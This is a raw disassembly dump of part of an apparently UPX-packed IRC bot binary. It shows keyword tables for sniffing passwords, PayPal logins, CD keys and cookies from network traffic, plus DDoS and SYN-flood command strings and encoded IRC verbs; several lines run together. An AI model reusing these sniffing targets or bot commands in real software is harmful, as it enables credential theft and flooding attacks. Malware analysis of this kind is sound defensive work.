		dd offset aPassword_0	; "password="
		dd 0
		dd offset aLogin_1	; "login="
		dd 0
		dd offset aPass_1	; "pass="
		dd 0
		dd offset aPw		; "pw="
		dd 2 dup(0)
off_41D808	dd offset aLogin_0	; DATA XREF: sub_415EB7+54o
					; "login "
		align 10h
		dd offset aSxt		; "sxt "
		align 8
		dd offset aAuth		; "auth	"
		align 10h
		dd offset aPasswort	; "passwort "
		align 8
		dd offset aCdkey	; "cdkey"
		align 10h
		dd offset aCdKey_0	; "cd-key"
		align 8
		dd offset aCdKey	; "cd key"
		align 10h
		dd offset aPassword	; "password"
		align 8
		dd offset aPaypal_com	; "paypal.com"
		dd 0
		dd offset aPaypal	; "paypal"
		align 8
		dd offset aIrcOperator	; "irc operator"
		align 10h
		dd offset aLP		; "l/p"
		align 8
		dd offset aSsh1_5	; "SSH-1.5"
		align 10h
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_41D87C	dd offset aSetCookie	; DATA XREF: sub_415EB7+76o
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU_0	; "serv-u"
		dd 0
		dd offset aServU	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		align 10h
off_41D8C0	dd offset dword_41D91C	; DATA XREF: sub_415EB7+98o
		align 8
		dd offset dword_41D914
		align 10h
		dd offset dword_41D90C
		align 8
		dd offset dword_41D904
		align 10h
		dd offset dword_41D8FC
		align 8
		dd offset dword_41D8F4
		dd 2 dup(0)
dword_41D8F4	dd 54495551h, 20hdword_41D8FC	dd 54524150h, 20hdword_41D904	dd 4E494F4Ah, 20hdword_41D90C	dd 49504F54h, 2043hdword_41D914	dd 49544F4Eh, 204543hdword_41D91C	dd 56495250h, 2047534Dh, 0aDdos		db 'ddos',0             ; DATA XREF: UPX1:0041D8B4o
		align 10h
aServu		db 'servu',0            ; DATA XREF: UPX1:0041D8ACo
		align 4
aServU		db 'serv u',0           ; DATA XREF: UPX1:0041D8A4o
		align 10h
aServU_0	db 'serv-u',0           ; DATA XREF: UPX1:0041D89Co
		align 4
aClone		db 'clone ',0           ; DATA XREF: UPX1:0041D894o
		align 10h
aFlood		db 'flood ',0           ; DATA XREF: UPX1:0041D88Co
		align 4
aSyn		db 'syn',0              ; DATA XREF: UPX1:0041D884o
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: UPX1:off_41D87Co
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: UPX1:0041D870o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: UPX1:0041D868o
aLP		db 'l/p',0              ; DATA XREF: UPX1:0041D860o
aIrcOperator	db 'irc operator',0     ; DATA XREF: UPX1:0041D858o
		align 10h
aPaypal		db 'paypal',0           ; DATA XREF: UPX1:0041D850o
		align 4
aPaypal_com	db 'paypal.com',0       ; DATA XREF: UPX1:0041D848o
		align 4
aCdKey		db 'cd key',0           ; DATA XREF: UPX1:0041D838o
		align 4
aCdKey_0	db 'cd-key',0           ; DATA XREF: UPX1:0041D830o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: UPX1:0041D828o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: UPX1:0041D820o
		align 4
aAuth		db 'auth ',0            ; DATA XREF: UPX1:0041D818o
		align 10h
aSxt		db 'sxt ',0             ; DATA XREF: UPX1:0041D810o
		align 4
aLogin_0	db 'login ',0           ; DATA XREF: UPX1:off_41D808o
		align 10h
aPw		db 'pw=',0              ; DATA XREF: UPX1:0041D7FCo
aPass_1		db 'pass=',0            ; DATA XREF: UPX1:0041D7F4o
		align 4
aLogin_1	db 'login=',0           ; DATA XREF: UPX1:0041D7ECo
		align 4
aPassword_0	db 'password=',0        ; DATA XREF: UPX1:0041D7E4o
		align 10h
aUsername_0	db 'username=',0        ; DATA XREF: UPX1:0041D7DCo
		align 4
aPasswd_0	db 'passwd=',0          ; DATA XREF: UPX1:0041D7D4o
aAuth_0		db ' :auth ',0          ; DATA XREF: UPX1:0041D7CCo
aIdentify	db 'identify ',0        ; DATA XREF: UPX1:0041D7C4o
		align 4
aOper		db 'oper ',0            ; DATA XREF: UPX1:0041D7BCo
		align 10h
aMailpass	db 'MailPass ',0        ; DATA XREF: UPX1:0041D7B8o
		align 4
aPass_2		db 'pass ',0            ; DATA XREF: UPX1:0041D7B4o
		align 4
aUnknown_1	db 'unknown ',0         ; DATA XREF: UPX1:0041D7B0o
		align 10h
aUser_1		db 'user ',0            ; DATA XREF: UPX1:off_41D7ACo
		align 4
dword_41DA58	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_415F69+5CEo
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_41DA8C	db  2Dh	; -		; DATA XREF: sub_415F69+1A6o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 10h
dword_41DAC0	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_41665C+8Eo
		dd 6E732074h, 65666669h, 72h, 41DAE4h, 84B6AD89h, 0B8A0BAE6h
		dd 91C499ECh, 2	dup(0)
dword_41DAF8	dd 0B1790F4Ch						; UPX0:00416845r ...
dword_41DAFC	dd 6F035C08h	dword_41DB00	dd 12E3F4F6h	dword_41DB04	dd 0A1A8C30Ch			dd 35h,	0
off_41DB10	dd offset dword_41DE18	; DATA XREF: sub_40E618+1C3r
					; sub_40E618+1D5r ...
		align 8
off_41DB18	dd offset dword_41CCF8	; DATA XREF: sub_40A9CF+7B3r
					; sub_40CF2F+82r ...
off_41DB1C	dd offset nullsub_5	; DATA XREF: sub_40CF2F+B8r
dword_41DB20	dd 0							; sub_40CF2F+DFr
		dd offset dword_41CCD8
		dd offset dword_41CCCC
		align 10h
		dd offset dword_41CCAC
		dd offset nullsub_166
		dd 0
		dd offset dword_41CC84
		dd offset nullsub_167
		align 8
		dd offset loc_41CC58
		dd offset dword_41CC4C
		dd 0
		dd offset dword_41CC34
		dd offset nullsub_168
		align 10h
		dd offset loc_41CC0C
		dd offset nullsub_169
		dd 4 dup(0)
dword_41DB78	dd 0D7E6FDC6h, 0F7EBEBF7h, 2 dup(0)					; sub_40D871:loc_40DCB8o
dword_41DB88	dd 69702323h, 2323h, 1Eh dup(0)					; sub_4093B6+6Co ...
byte_41DC08	db 0DAh			; DATA XREF: sub_40D043+28Cr
					; sub_40D043+297o
		db 0E1h, 0B1h, 81h
		dd 0EBF7BDB8h, 1Eh dup(0)
byte_41DC88	db 0			; DATA XREF: sub_40D043+2B3r
					; sub_40D043+2BEo
		align 4
		dd 1Fh dup(0)
dword_41DD08	dd 3430032Eh, 2036202h,	0					; sub_40D871+242o
dword_41DD14	dd 8BBBA78Eh, 0E6E6E7A4h, 0DA9AA6h, 3Eh	dup(0)					; sub_406AE7+2Eo
dword_41DE18	dd 80B682D3h, 0E6A7B0BBh, 85DE92B1h, 0BFFEh, 0dword_41DE2C	dd 3430032Dh, 62656402h, 2036775haEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 4
aEntry		db 'entry',0            ; DATA XREF: UPX0:00416AE7o
		align 4
aLoop		db 'loop',0             ; DATA XREF: UPX0:loc_416AC5o
		align 4
aPing08x	db 'PING :%08X',0       ; DATA XREF: UPX0:00416A54o
		align 4
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: UPX0:0041684Bo
		align 10h
dword_41DEA0	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_41DEB0	dd offset off_4172BC	; DATA XREF: UPX1:off_4172C0o
					; UPX1:004172FCo ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_41DED0	dd offset off_4172BC	; DATA XREF: UPX1:off_417308o
					; UPX1:00417344o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_41DEE8	dd 0							; sub_401856+21r ...
dword_41DEEC	dd 0							; sub_401856+36r ...
dword_41DEF0	dd 0							; sub_401856+4Br ...
dword_41DEF4	dd 0							; sub_401856+Cr ...
		dd 0
dword_41DEFC	dd 0							; sub_4018AF+62r ...
byte_41DF00	db 0			; DATA XREF: sub_401981+1BAo
					; sub_402A32+57r ...
		align 8
dword_41DF08	dd 0							; sub_404CBB+1Br ...
dword_41DF0C	dd 0		dword_41DF10	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount					; sub_409C36+12r ...
		align 8
dword_41DF18	dd 5B86A313h	dword_41DF1C	dd 5B86D617h	dword_41DF20	dd 5B86FD69h	dword_41DF24	dd 5B894541h	dword_41DF28	dd 5B868E65h	dword_41DF2C	dd 5B8A3009h	dword_41DF30	dd 5B867750h	dword_41DF34	dd 5B897BE9h	dword_41DF38	dd 5B8A5DD1h	dword_41DF3C	dd 71B2517Fh	dword_41DF40	dd 71B2578Ch	dword_41DF44	dd 71B2547Ah	dword_41DF48	dd 71B25099h	dword_41DF4C	dd 42C5AE03h	; resolved to->WININET.InternetGetConnectedStateExA					; sub_408B30+118r ...
dword_41DF50	dd 5E0C53F7h						; sub_414EF4+6Cr ...
dword_41DF54	dd 71AB2A6Fh	; resolved to->WS2_32.getaddrinfo					; sub_403BD3+197r ...
dword_41DF58	dd 71ABC671h	; resolved to->WS2_32.getnameinfo					; sub_403BD3+17Fw ...
dword_41DF5C	dd 71AB2B0Bh	; resolved to->WS2_32.freeaddrinfo					; sub_403BD3+1A9r ...
		dd 101h	dup(0)
dword_41E364	dd 0							; sub_4042FB+20o
dword_41E368	dd 0							; sub_4042FB:loc_404327r
		align 10h
dword_41E370	dd 76BF1F1Ch						; sub_405FA3+7Ar ...
dword_41E374	dd 76BF2075h						; sub_405FA3+83r ...
dword_41E378	dd 76BF21C2h						; sub_405FA3+8Cr ...
dword_41E37C	dd 76BF3A9Ah						; sub_405FA3+71r ...
dword_41E380	dd 148B10h, 0FFFFFFFFh,	5 dup(0)					; sub_406041+Bo ...
byte_41E39C	db 1			; DATA XREF: sub_405FA3+95w
					; sub_406041+16r
		align 10h
dword_41E3A0	dd 0							; sub_409226+77w ...
		align 8
dword_41E3A8	dd 148B38h, 0FFFFFFFFh,	4 dup(0)					; sub_4095A4+6o ...
dword_41E3C0	dd 0							; sub_4095A4+11r ...
		align 8
dword_41E3C8	dd 864FC0h						; sub_4095A4+57r ...
dword_41E3CC	dd 0							; sub_409DD0+65w ...
dword_41E3D0	dd 0							; sub_409DD0+44r ...
dword_41E3D4	dd 0							; sub_409DD0+91w ...
dword_41E3D8	dd 0							; sub_409DD0+7Bw ...
		align 10h
byte_41E3E0	db 0			; DATA XREF: sub_409DD0+29r
					; sub_409DD0+96w
		align 4
		dd 101h	dup(0)
byte_41E7E8	db 0			; DATA XREF: sub_40CF2F+4Bo
					; sub_40CF2F+5Eo ...
		align 4
		dd 5Fh dup(0)
dword_41E968	dd 40h dup(0)						; sub_40CF2F+A6o ...
dword_41EA68	dd 3 dup(0)						; sub_40CF2F+36o ...
dword_41EA74	dd 0							; sub_40D366+15r ...
		dd 0
dword_41EA7C	dd 0							; sub_40E618:loc_40E66Dw
byte_41EA80	db 0			; DATA XREF: sub_40E979+1Dw
					; sub_40E979+46w ...
		align 4
		dd 9 dup(0)
		dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
		dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
		dd 16151413h, 191817h, 0
		db    0
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123		db '!"#$%&',27h,'()*+,-./0123',0
		dd 22h dup(0)
byte_41EB84	db 0F2h			; DATA XREF: sub_40ECEB+29o
					; sub_40ECEB+35o ...
aShmmhNaII	db 0Bh,'HMMH',0Bh,'ө',0
		align 4
dword_41EB98	dd 85E7D1A7h, 0C5FDFDC5h, 0B939B9D1h, 1987FB7Bh, 0
					; DATA XREF: sub_40ED6E+29o
					; sub_40ED6E+35o ...
dword_41EBAC	dd 0E29DB79Fh						; sub_410318+7w ...
dword_41EBB0	dd 2C2B09C1h						; sub_410318+11w ...
dword_41EBB4	dd 4FC6EA1Eh						; sub_410318+1Bw ...
dword_41EBB8	dd 0F2BD1115h						; sub_410318+25w ...
		align 10h
byte_41EBC0	db 0F9h			; DATA XREF: sub_41055F+29o
					; sub_41055F+35o ...
; ---------------------------------------------------------------------------
		retn	0E8D9h
; ---------------------------------------------------------------------------
		enter	0FFFFD4D4h, 0C8h
		retn	0B6F6h
; ---------------------------------------------------------------------------
		db 0F6h
; ---------------------------------------------------------------------------
		xchg	eax, edi
		xlat
		jmp	near ptr byte_41EC79
; ---------------------------------------------------------------------------
		align 8
dword_41EBD8	dd 2 dup(0)	dword_41EBE0	dd 0		dword_41EBE4	dd 2 dup(0)	dword_41EBEC	dd 0							; sub_4127D0+16w
dword_41EBF0	dd 0							; sub_4127D0:loc_4128A0r
dword_41EBF4	dd 2 dup(0)						; sub_412E04+7Fo
dword_41EBFC	dd 6B636170h, 652E6465h, 6578h,	1Ch dup(0)					; sub_407148+172o ...
		db 0
byte_41EC79	db 3 dup(0)		; CODE XREF: UPX1:0041EBCEj
		dd 21h dup(0)
dword_41ED00	dd 0E72EAD95h						; UPX0:00416909w
dword_41ED04	dd 91BC7F77h	dword_41ED08	dd 0C71DA47Ah	dword_41ED0C	dd 8DCDF7A2h	dword_41ED10	dd 6B636170h, 652E6465h, 6578h,	3Fh dup(0)					; sub_40A9CF+C51o ...
dword_41EE18	dd 40h dup(0)						; sub_40A9CF+108Eo ...
byte_41EF18	db 0			; DATA XREF: sub_40D043+FFr
					; sub_40D043+10Ao ...
		align 4
		dd 1Fh dup(0)
byte_41EF98	db 0			; DATA XREF: sub_403DF3:loc_403F07r
					; sub_403DF3+11Fo ...
		align 4
		dd 1Fh dup(0)
dword_41F018	dd 40h dup(0)						; sub_4055E5+746o ...
byte_41F118	db 0			; DATA XREF: sub_40A9CF+1F37o
					; sub_40D043:loc_40D0D6r ...
		align 4
		dd 3B9h	dup(0)
		dd 0E0h, 16030h, 74654701h, 73726556h, 456E6F69h, 1004178h
		dd 4C746547h, 6C61636Fh, 666E4965h, 100416Fh, 43746553h
		dd 65727275h, 6944746Eh, 74636572h, 4179726Fh, 736C0100h
		dd 656C7274h, 100416Eh,	57746547h, 6F646E69h, 69447377h
		dd 74636572h, 4179726Fh, 72430100h, 65746165h, 656C6946h
		dd 47010041h, 69467465h, 6954656Ch, 100656Dh, 46746553h
		dd 54656C69h, 656D69h, 74654701h, 74737953h, 69446D65h
		dd 74636572h, 4179726Fh, 6F4C0100h, 694C6461h, 72617262h
		dd 1004179h, 50746547h,	41636F72h, 65726464h, 1007373h
		dd 74697845h, 636F7250h, 737365h, 706F4301h, 6C694679h
		dd 1004165h, 4C746547h,	45747361h, 726F7272h, 72570100h
		dd 46657469h, 656C69h, 61655301h, 50686372h, 41687461h
		dd 72430100h, 65746165h, 65706950h, 65470100h, 72754374h
		dd 746E6572h, 636F7250h, 737365h, 74654701h, 706D6F43h
		dd 72657475h, 656D614Eh, 43010041h, 74616572h, 6F725065h
		dd 73736563h, 50010041h, 4E6B6565h, 64656D61h, 65706950h
		dd 65470100h, 69784574h, 646F4374h, 6F725065h, 73736563h
		dd 65520100h, 69466461h, 100656Ch, 4D746547h, 6C75646Fh
		dd 6E614865h, 41656C64h, 65470100h, 646F4D74h, 46656C75h
		dd 4E656C69h, 41656D61h, 704F0100h, 72506E65h, 7365636Fh
		dd 52010073h, 50646165h, 65636F72h, 654D7373h, 79726F6Dh
		dd 6C530100h, 706565h, 72655401h, 616E696Dh, 72506574h
		dd 7365636Fh, 43010073h, 65736F6Ch, 646E6148h, 100656Ch
		dd 46746553h, 41656C69h, 69727474h, 65747562h, 1004173h
		dd 656C6544h, 69466574h, 41656Ch, 636F4C01h, 72466C61h
		dd 1006565h, 61657243h,	68546574h, 64616572h, 6E550100h
		dd 5670616Dh, 4F776569h, 6C694666h, 4D010065h, 69567061h
		dd 664F7765h, 656C6946h, 72430100h, 65746165h, 656C6946h
		dd 7070614Dh, 41676E69h, 6C470100h, 6C61626Fh, 6F6D654Dh
		dd 74537972h, 73757461h, 65470100h, 73694474h, 6572466Bh
		dd 61705365h, 78456563h, 47010041h, 72447465h, 54657669h
		dd 41657079h, 65470100h, 63695474h, 756F436Bh, 100746Eh
		dd 72657551h, 72655079h, 6D726F66h, 65636E61h, 71657246h
		dd 636E6575h, 51010079h, 79726575h, 66726550h, 616D726Fh
		dd 4365636Eh, 746E756Fh, 1007265h, 61427349h, 646F4364h
		dd 72745065h, 65540100h, 6E696D72h, 54657461h, 61657268h
		dd 49010064h, 6974696Eh, 7A696C61h, 69724365h, 61636974h
		dd 6365536Ch, 6E6F6974h, 65470100h, 72754374h, 746E6572h
		dd 636F7250h, 49737365h, 45010064h, 7265746Eh, 74697243h
		dd 6C616369h, 74636553h, 6E6F69h, 70754401h, 6163696Ch
		dd 61486574h, 656C646Eh, 65530100h, 72724574h, 6F4D726Fh
		dd 1006564h, 61657243h,	754D6574h, 41786574h, 736C0100h
		dd 70637274h, 1004179h,	7274736Ch, 6E797063h, 47010041h
		dd 6E457465h, 6F726976h, 6E656D6Eh, 72615674h, 6C626169h
		dd 1004165h, 7274736Ch,	41706D63h, 654C0100h, 43657661h
		dd 69746972h, 536C6163h, 69746365h, 6E6Fh, 0EDh, 16000h
		dd 67655201h, 6D756E45h, 756C6156h, 1004165h, 44676552h
		dd 74656C65h, 6C615665h, 416575h, 67655201h, 6E65704Fh
		dd 4579654Bh, 1004178h,	51676552h, 79726575h, 756C6156h
		dd 41784565h, 65520100h, 74655367h, 756C6156h, 41784565h
		dd 65520100h, 65724367h, 4B657461h, 78457965h, 47010041h
		dd 73557465h, 614E7265h, 41656Dh, 79724301h, 65527470h
		dd 7361656Ch, 6E6F4365h, 74786574h, 72430100h, 47747079h
		dd 61526E65h, 6D6F646Eh, 72430100h, 41747079h, 69757163h
		dd 6F436572h, 7865746Eh, 1004174h, 43676552h, 65736F6Ch
		dd 79654Bh, 0FA00h, 1611400h, 695F0100h, 616F74h, 74735F01h
		dd 63696E72h, 100706Dh,	7878435Fh, 6F726854h, 63784577h
		dd 69747065h, 1006E6Fh,	74313F3Fh, 5F657079h, 6F666E69h
		dd 41554040h, 5A584045h, 5F5F0100h, 46787843h, 656D6172h
		dd 646E6148h, 72656Ch, 6D656D01h, 65766F6Dh, 74730100h
		dd 79706372h, 725F0100h, 72746Fh, 6F725F01h, 1006C74h
		dd 6E73765Fh, 6E697270h, 1006674h, 636D656Dh, 100706Dh
		dd 6F6C6F74h, 726577h, 72747301h, 706D63h, 69727001h, 66746Eh
		dd 323F3F01h, 50415940h, 40495841h, 3F01005Ah, 5940333Fh
		dd 41505841h, 5A4058h, 70737601h, 746E6972h, 5F010066h
		dd 69676562h, 7268746Eh, 65646165h, 5F010078h, 65637865h
		dd 685F7470h, 6C646E61h, 337265h, 69656301h, 5F01006Ch
		dd 6C6F7466h, 78650100h, 1007469h, 6C616572h, 636F6Ch
		dd 72747301h, 706D636Eh, 735F0100h, 6972706Eh, 66746Eh
		dd 72747301h, 727473h, 63737301h, 666E61h, 6F746101h, 66010069h
		dd 6B656573h, 72660100h, 646165h, 706F6601h, 1006E65h
		dd 6F6C6366h, 1006573h,	69727766h, 1006574h, 6C657466h
		dd 7301006Ch, 61637274h, 6D010074h, 65736D65h, 63010074h
		dd 6B636F6Ch, 70730100h, 746E6972h, 73010066h, 636E7274h
		dd 1007970h, 636D656Dh,	1007970h, 65657266h, 616D0100h
		dd 636F6C6Ch, 74730100h, 6E656C72h, 735F0100h, 6D637274h
		dd 6970h, 105h,	161C8h,	0C8FFh,	112h, 161D0h, 65685301h
		dd 78456C6Ch, 74756365h, 4165h,	11Eh, 161D8h, 74654701h
		dd 65726F46h, 756F7267h, 6957646Eh, 776F646Eh, 73490100h
		dd 72616843h, 68706C41h, 6D754E61h, 63697265h, 77010041h
		dd 69727073h, 4166746Eh, 65470100h, 6E695774h, 54776F64h
		dd 41747865h, 69460100h, 6957646Eh, 776F646Eh, 53010041h
		dd 4D646E65h, 61737365h, 416567h, 12900h, 161F400h, 4FF00h
		dd 0FF0097FFh, 16FF0001h, 15FF00h, 0FF0002FFh, 5FF0013h
		dd 0AFF00h, 0FF0017FFh,	33FF000Ch, 6FFF00h, 0FF0038FFh
		dd 3FF0012h, 70FF00h, 0FF0009FFh, 6FF0034h, 0BFF00h, 0FF0010FFh
		dd 14FF0008h, 74FF00h, 10011FFh, 49415357h, 6C74636Fh
		dd 39FF00h, 0FF0073FFh,	0Dh, 50000000h,	4C000045h, 0F0000301h
		dd 463901h, 0
		dd 0E0000000h, 0B010F00h, 601h,	160h, 82h, 0F1000000h
		dd 167h, 10h, 170h, 4000h, 10h,	4000002h, 0
		dd 4000000h, 2 dup(0)
		dd 200h, 4, 2000000h, 0
		dd 1000h, 10h, 1000h, 10h, 10000000h, 2	dup(0)
		dd 0C8000000h, 0A0000173h, 15h dup(0)
		dd 70000170h, 2, 5 dup(0)
		dd 2E000000h, 74786574h, 0E7000000h, 15Fh, 10h,	160h, 4
		dd 2 dup(0)
		dd 20000000h, 2EE00000h, 74616472h, 4C000061h, 0Eh, 170h
		dd 10h,	164h, 2	dup(0)
		dd 40000000h, 2E400000h, 61746164h, 98000000h, 71h, 180h
		dd 60h,	174h, 2	dup(0)
		dd 40000000h, 0C00000h,	0D80001F0h, 3000176h, 340001F7h
		dd 8101820h, 64EEBA04h,	0C3F800D3h, 3EC07F0h, 0A69A69E4h
		dd 0D0D8E069h, 0F99DC0C8h, 0B0B8A69Ah, 3C39740h, 0D74D3494h
		dd 3B888C34h, 0D36C7480h, 64D34D34h, 50545C60h,	4EEBA69Ah
		dd 3B380348h, 0AE202830h, 1869A77Bh, 79714h, 0E99CD98Fh
		dd 3C2F8CCh, 0C29300E8h, 9D34D34Dh, 0C4D0DC03h,	4D34ACB8h
		dd 8CA034D3h, 17606878h, 30D74D26h, 6720283Fh, 0D74D41DFh
		dd 271C244Dh, 8140318h,	36E74D34h, 32FC1FCh, 0D3DCE4F0h
		dd 0D8D34D35h, 1FCCD0D4h, 34D34DC8h, 0B0B8C04Dh, 34909CA8h
		dd 8434D34Dh, 6068707Ch, 0D967B669h, 98589250h,	1050440Bh
		dd 48AEC25Eh, 67C14003h, 0DDF3C138h, 2CBBB085h,	0FBC1240Fh
		dd 18140F1Ch, 375D3DDh,	0C0041B0Ch, 8C13C0ABh, 0F05DD74Dh
		dd 0DC03E80Fh, 3423C0D0h, 0CC2EEBDDh, 7FF500Fh,	34D3B844h
		dd 3B0D74Dh, 9098A0A8h,	5D3CD180h, 0C088578Ch, 8EF853C0h
		dd 784B5630h, 0CF74C0A7h, 0AF53C96Ch, 488FABC0h, 0D3BDD34Dh
		dd 389B33F0h, 0C65D2830h, 1C133BA6h, 47FC00Ch, 0D8DC9DD7h
		dd 8BBFF80Bh, 7D4BFE8h,	0BBB103D0h, 0C4CC4D8Ch,	0BB09BBFh
		dd 5D8CBFA4h, 0A0A38577h, 9403981Bh, 8058AFBFh,	0B8CBBB1h
		dd 80B7BF84h, 9F0B78B7h, 0B7736170h, 77616C62h,	639B403h
		dd 6B2F70E3h, 0B30B6169h, 684CA5A0h, 2BFB6133h,	2B6F3D96h
		dd 6F6C7173h, 7DF05011h, 462600Eh, 0B3207h, 0C0AE7Ah, 0C02813FCh
		dd 5801454Eh, 0D9BB137Fh, 1D33D9B2h, 6D6F070Bh,	732D96EBh
		dd 870F1756h, 0D5FE6B65h, 75D50ACh, 766F6C12h, 9BC8F865h
		dd 6E6F6D7Fh, 6C737965h, 74697475h, 16206863h, 755F3F7Ah
		dd 788BCA63h, 0FB3B0D9Bh, 673365E7h, 78070B4Eh,	71B6DB6Bh
		dd 237A1A77h, 71701500h, 0B9417A61h, 420B7407h,	0C9E4F207h
		dd 7807FFEEh, 396B3270h, 0F0B92538h, 651B546Ah,	8A3D506Dh
		dd 63470BCDh, 16200D7Eh, 0EF0BC7ECh, 735AD6E8h,	90A79951h
		dd 0AE7BAA27h, 4D62A835h, 1983CBDDh, 72F70A16h,	70F7C474h
		dd 0F6602549h, 6E17078Bh, 0CE7AEB75h, 61B5ACDAh, 46C98D0Ah
		dd 0DD606D13h, 2B0E1DD9h, 35B47473h, 338A1707h,	2D3134C8h
		dd 8D7E6572h, 0F6217362h, 61371579h, 56218264h,	6543ED02h
		dd 243B0123h, 0B30C220h, 92E4B60Ch, 70000h, 9C9C9B9Ch
		dd 7030000h, 0E6B70A10h, 70277A0Bh, 8BEB4F77h, 7DECC3Dh
		dd 0F61EB27h, 2D97151Eh, 0BE900A1h, 0E7381731h,	7032B22h
		dd 0B737840Bh, 211FBD05h, 5C0D0974h, 43081E44h,	75636FE1h
		dd 53175704h, 0D0FC2A0Bh, 5C736DDDh, 2B6B2C41h,	73ECBB5Bh
		dd 0ED305C20h, 2441376Dh, 741AC6Ah, 4164725Ch, 63F30B68h
		dd 0D13C20Bh, 376D65D8h, 270011h, 923172A1h, 934B571Fh
		dd 9F60325Bh, 630B64BCh, 0F68EC223h, 3131B9Eh, 0AF666622h
		dd 2346ABB7h, 7729C315h, 0CE4A056Eh, 75173E15h,	65DD5292h
		dd 0D629878Fh, 1B865B12h, 7551C39Eh, 0F969AB11h, 44BB9A49h
		dd 636F205Dh, 8CDA6569h, 86C38CFh, 0CF71613Ch, 6A696323h
		dd 73B5373Ch, 6269AF12h, 0F6F636Dh, 0AB775262h,	0B37B612Fh
		dd 1E92C2h, 0B58F8BF3h,	6F367416h, 13266769h, 2EF6D51Ch
		dd 0A3707533h, 2B126EA2h, 5F9DA39Bh, 6B3335CBh,	0B11AD479h
		dd 87370759h, 68C5AC65h, 28C455EDh, 0F7179FABh,	75E336B6h
		dd 73184190h, 0D6EFCB8Fh, 0E7193466h, 72622293h, 0C1B9A911h
		dd 73759B76h, 0B3A36507h, 0A44284BEh, 2DF6B6Ah,	0A46F4E17h
		dd 826F6A76h, 0D71769DFh, 0CE137361h, 1F5A66E7h, 3B086A16h
		dd 175B8218h, 0E667626Fh, 0B5CF7C2Fh, 415983D3h, 0D968DF04h
		dd 65B606F0h, 656B070Bh, 0B6015272h, 65033B37h,	20A690BBh
		dd 0C0FB115h, 0A0578423h, 0F67875CCh, 0BDEC6F06h, 9A756CC7h
		dd 7700353h, 0E41686B0h, 74C4F173h, 0D818570Bh,	1B727B36h
		dd 52FD406Dh, 740FB2E4h, 2D20311Ah, 8C060A0Dh, 3207B262h
		dd 60A42DE3h, 54460A42h, 4A0542h, 23FBFF21h, 0A38A325Bh
		dd 2D364B87h, 0F5FFFA0Bh, 20332078h, 686620D1h,	32303120h
		dd 0DC4A2034h, 5BB914BFh, 123A3067h, 7772648Ch,	6E907278h
		dd 72246D91h, 42D2827h,	920DAC0Dh, 0D8F65E26h, 35316B83h
		dd 0CFA07B30h, 33318F13h, 230F142h, 0D702501Bh,	4B6C2DD9h
		dd 1F022C13h, 0E4BB5620h, 32342FB1h, 0BD84B35h,	8F5F3015h
		dd 103E4BFDh, 37350C41h, 222F2220h, 2B02017h, 60D8F202h
		dd 0E0873173h, 0E4F60A6Bh, 0A04FCF92h, 9833162Fh, 92E16310h
		dd 33335F23h, 20C2A831h, 0DE20C6A3h, 0A7333019h, 0C20C5931h
		dd 0CB2FD3CDh, 44803E0Fh, 46E327BDh, 23205054h,	0E6BA952Ah
		dd 9DB8056Dh, 0D55D72Fh, 0FB0130BBh, 604A976Ch,	6B04A120h
		dd 8E1780Bh, 0E0F6008h,	241B0C0h, 86444B57h, 69544828h
		dd 6DA08393h, 5C89749Eh, 0B6409B2Fh, 54748F28h,	0D812298Bh
		dd 1FCF1400h, 15AA278Ah, 5EDC811Ch, 0C119FE80h,	0FF3174FFh
		dd 0EBF9E200h, 8FE6E805h, 8B64DB33h, 0F8833043h, 70A0889Bh
		dd 788BAD1Ch, 0FB99E808h, 6C8552FFh, 5C8B3C5Fh,	0DF03783Bh
		dd 205B8B53h, 0FA374205h, 4C383BFh, 0F703338Bh,	32ACC933h
		dd 0D505C1B9h, 0FFFF6FFCh, 0CA2BF675h, 2B58E975h, 5EEBD1D8h
		dd 28245E03h, 8B0B8B66h, 0DF031C5Eh, 0E078028Bh, 5EC703BFh
		dd 5EE0FF5Bh, 1268A868h, 0E46FFD14h, 6E92BA54h,	0D6FF8404h
		dd 0DBA4F88Bh, 0EC78A006h, 83BAA453h, 0C47F0057h, 0AC15685Ah
		dd 8B1C0568h, 0F6F98BD4h, 6AD8FFDBh, 0BA535210h, 5A603063h
		dd 2B4501Ah, 0C5550h, 8E26058h,	0BF609EC0h, 0B7B3E543h
		dd 536C2FCBh, 0A69000AFh, 0B95040C2h, 0E6EC3B7Ah, 0A173CCEEh
		dd 69D31009h, 0C033202Ah, 25BBBCC7h, 5443AF02h,	7972328Ch
		dd 0EDDDB019h, 7D8166BFh, 75111102h, 220406EDh,	0AAE47500h
		dd 96C010BDh, 8B370015h, 0B59FEA75h, 0EB392FFh,	45D89ECh
		dd 894F1989h, 61451465h, 1BC7646Dh, 21A171CAh, 8DF8FD80h
		dd 6CA25504h, 781C4128h, 7745E066h, 0C5D822F8h,	0A30D7B90h
